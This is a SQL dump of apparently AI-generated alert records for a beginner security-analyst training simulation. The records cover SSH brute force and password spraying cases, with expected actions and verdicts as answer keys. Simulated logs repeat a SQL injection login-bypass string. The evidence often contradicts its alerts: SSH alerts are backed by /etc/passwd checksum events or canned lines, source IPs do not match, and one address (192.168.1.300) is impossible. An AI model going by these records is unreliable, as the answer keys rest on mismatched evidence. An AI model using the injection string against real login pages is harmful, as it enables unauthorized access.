application\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"b.adams\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Management\",\"verdict\":\"internal\",\"details\":\"User account targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP is associated with unauthorized access attempts, confirming the alert.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.919Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.150\\\",\\\"dst_ip\\\":\\\"192.168.1.300\\\",\\\"username\\\":\\\"b.adams\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:57:15.919Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.150\\\",\\\"dst_ip\\\":\\\"192.168.1.300\\\",\\\"username\\\":\\\"b.adams\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:56:15.919Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.150\\\",\\\"dst_ip\\\":\\\"192.168.1.300\\\",\\\"username\\\":\\\"b.adams\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:55:15.919Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.150\\\",\\\"dst_ip\\\":\\\"192.168.1.300\\\",\\\"username\\\":\\\"b.adams\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:54:15.919Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T16:30:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.150\\\",\\\"dst_ip\\\":\\\"192.168.1.300\\\",\\\"username\\\":\\\"b.adams\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1660, 'Suspicious SSH Activity from Known Malicious IP', 'critical', 'Wazuh', 'Detected multiple failed SSH login attempts from an IP address with a history of malicious activity.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T18:15:50Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.99\",\"dst_ip\":\"10.0.0.15\",\"username\":\"administrator\",\"hostname\":\"sshserver03\",\"failed_attempts\":48}', '2026-03-15 19:37:47', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP reported 600 times for SSH brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the SSH server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"administrator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"User account targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP is flagged for numerous brute force activities, confirming the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.922Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"sshserver03\\\",\\\"failed_attempts\\\":48}\"},{\"timestamp\":\"2026-03-15T20:57:15.922Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"sshserver03\\\",\\\"failed_attempts\\\":48}\"},{\"timestamp\":\"2026-03-15T20:56:15.922Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"sshserver03\\\",\\\"failed_attempts\\\":48}\"},{\"timestamp\":\"2026-03-15T20:55:15.922Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"sshserver03\\\",\\\"failed_attempts\\\":48}\"},{\"timestamp\":\"2026-03-15T20:54:15.922Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T18:15:50Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.99\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"sshserver03\\\",\\\"failed_attempts\\\":48}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1661, 'Password Spraying Detected Against Internal Web Portal', 'high', 'Elastic SIEM', 'Multiple failed login attempts detected from a single external IP address against the internal web portal, suggesting a password spraying attack.', 'Credential Attack', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T03:12:34Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.10\",\"dst_ip\":\"10.0.0.5\",\"username\":\"user1\",\"hostname\":\"web-portal\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"user1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP was confirmed malicious through OSINT, indicating a true positive attack.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.925Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:12:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.925Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:12:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.925Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:12:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.925Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:12:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.925Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:12:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.10\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1662, 'SSH Brute Force Spike Detected', 'critical', 'Wazuh', 'A significant spike in failed SSH login attempts from a foreign IP address indicates a brute force attack on the server.', 'Brute Force', 'T1110', 1, 'investigating', NULL, '{\"timestamp\":\"2026-03-15T06:45:22Z\",\"event_type\":\"login_failure\",\"src_ip\":\"185.143.223.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"root\",\"hostname\":\"ssh-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 21:15:40', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.143.223.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP frequently involved in brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"root\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Common username targeted in brute force attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"OSINT confirms the external IP as malicious, validating the brute force attack.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.143.223.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.143.223.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.143.223.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.143.223.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.926Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:45:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"185.143.223.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1663, 'Failed SSH Logins From Known Malicious IP', 'high', 'Azure Sentinel', 'Several failed SSH login attempts from a known malicious IP address detected against a critical server.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:15:44Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"172.16.0.20\",\"username\":\"admin\",\"hostname\":\"critical-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"172.16.0.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username in attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP\'s history of malicious activity confirms the attack as a true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.928Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:44Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"172.16.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"critical-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.928Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:44Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"172.16.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"critical-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.928Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:44Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"172.16.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"critical-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.928Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:44Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"172.16.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"critical-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.928Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:44Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"172.16.0.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"critical-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1664, 'Unusual Login Activity Detected', 'medium', 'Splunk', 'Single IP address triggered 30 failed login attempts against different accounts on the internal web portal.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:20:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.22\",\"dst_ip\":\"10.0.0.8\",\"username\":\"testuser\",\"hostname\":\"web-portal\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.22\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP known for password spraying attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.8\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"testuser\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP\'s history of malicious activity indicates a definite attack.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.931Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:20:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.931Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:20:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.931Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:20:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.931Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:20:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.931Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:20:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.8\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
